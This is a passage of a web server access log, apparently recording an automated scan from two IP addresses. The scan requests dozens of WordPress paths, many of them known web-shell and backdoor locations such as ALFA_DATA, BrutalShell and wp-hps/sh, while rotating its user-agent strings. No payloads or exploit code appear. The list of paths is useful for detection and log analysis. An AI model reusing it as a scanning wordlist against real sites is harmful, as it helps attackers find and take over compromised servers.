Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:49 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:49 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:49 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:26:49 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:50 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:50 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.89 - - [23/Apr/2025:03:26:50 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:50 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.91 - - [23/Apr/2025:03:26:50 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:51 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:51 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:51 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:51 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:51 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:51 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:26:52 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:26:52 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:52 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.89 - - [23/Apr/2025:03:26:52 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:52 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:52 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:26:53 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:53 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:26:53 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.89 - - [23/Apr/2025:03:26:53 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:53 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:53 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.89 - - [23/Apr/2025:03:26:54 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:54 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:26:54 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:54 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:54 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:55 -0400] "GET /wp-content/plugins/cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:55 -0400] "GET /wp-content/plugins/db/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:55 -0400] "GET /wp-content/plugins/home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:55 -0400] "GET /wp-content/plugins/limit/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:55 -0400] "GET /wp-content/plugins/owfsmac/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:55 -0400] "GET /wp-content/plugins/prenota/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:56 -0400] "GET /wp-content/plugins/random/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.89 - - [23/Apr/2025:03:26:56 -0400] "GET /wp-content/plugins/ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:56 -0400] "GET /wp-content/plugins/Uwogh-Segs/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:56 -0400] "GET /wp-content/plugins/wp-diambar/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:56 -0400] "GET /wp-content/plugins/wp-freeform/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:26:56 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:57 -0400] "GET /wp-content/plugins/wpeazvp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:57 -0400] "GET /wp-content/plugins/zaen/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:57 -0400] "GET /wp-content/uploads/revslider/templates/immersion-photography/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:26:57 -0400] "GET /patriotic/wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.89 - - [23/Apr/2025:03:26:57 -0400] "GET /wp-includes/js/tinymce/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.91 - - [23/Apr/2025:03:26:57 -0400] "GET /wp-content/plugins/core-stab/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:58 -0400] "GET /wp-content/themes/alera/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:58 -0400] "GET /wp-content/themes/rishi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:26:58 -0400] "GET /wp-content/themes/sketch/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:58 -0400] "GET /wp-content/themes/thuoc-nam/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:58 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:58 -0400] "GET /wp-content/themes/wp-pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:26:59 -0400] "GET /wp-content/themes/pridmag/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:26:59 -0400] "GET /wp-content/themes/zakra/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:59 -0400] "GET /wp-content/uploads/simple-file-list/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:26:59 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:26:59 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:00 -0400] "GET /up/.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:27:00 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:00 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:27:00 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:00 -0400] "GET /css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.89 - - [23/Apr/2025:03:27:00 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.91 - - [23/Apr/2025:03:27:01 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:01 -0400] "GET /wp-includes/SimplePie/XML/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:01 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:27:01 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:27:01 -0400] "GET /wordpress/wp-admin/includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:02 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:27:02 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 149.88.19.91 - - [23/Apr/2025:03:27:02 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:02 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:27:02 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:27:02 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:03 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 149.88.19.91 - - [23/Apr/2025:03:27:03 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:03 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:04 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:27:04 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:27:04 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:05 -0400] "GET /about/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:05 -0400] "GET /plugins/jquery.filer/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:06 -0400] "GET /wp-content/plugins/dummyyummy/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:06 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.91 - - [23/Apr/2025:03:27:06 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.91 - - [23/Apr/2025:03:27:06 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.89 - - [23/Apr/2025:03:27:06 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:27:07 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.91 - - [23/Apr/2025:03:27:07 -0400] "GET /wp-includes/theme-compat/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:07 -0400] "GET /index/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:08 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:08 -0400] "GET /fonts/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.89 - - [23/Apr/2025:03:27:08 -0400] "GET /js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.91 - - [23/Apr/2025:03:27:09 -0400] "GET /routes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.91 - - [23/Apr/2025:03:27:09 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.89 - - [23/Apr/2025:03:27:09 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.91 - - [23/Apr/2025:03:27:09 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:09 -0400] "GET /wp-content/plugins/wp-theme-editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:10 -0400] "GET /templates/atomic/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:10 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:10 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.89 - - [23/Apr/2025:03:27:11 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:11 -0400] "GET /wp-content/plugins/google-seo-rank/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:11 -0400] "GET /wp-content/plugins/erin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 149.88.19.89 - - [23/Apr/2025:03:27:11 -0400] "GET /wp-content/maintenance/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.91 - - [23/Apr/2025:03:27:11 -0400] "GET /wp-content/x/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.91 - - [23/Apr/2025:03:27:12 -0400] "GET /wp-content/plugins/seooyanz/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) 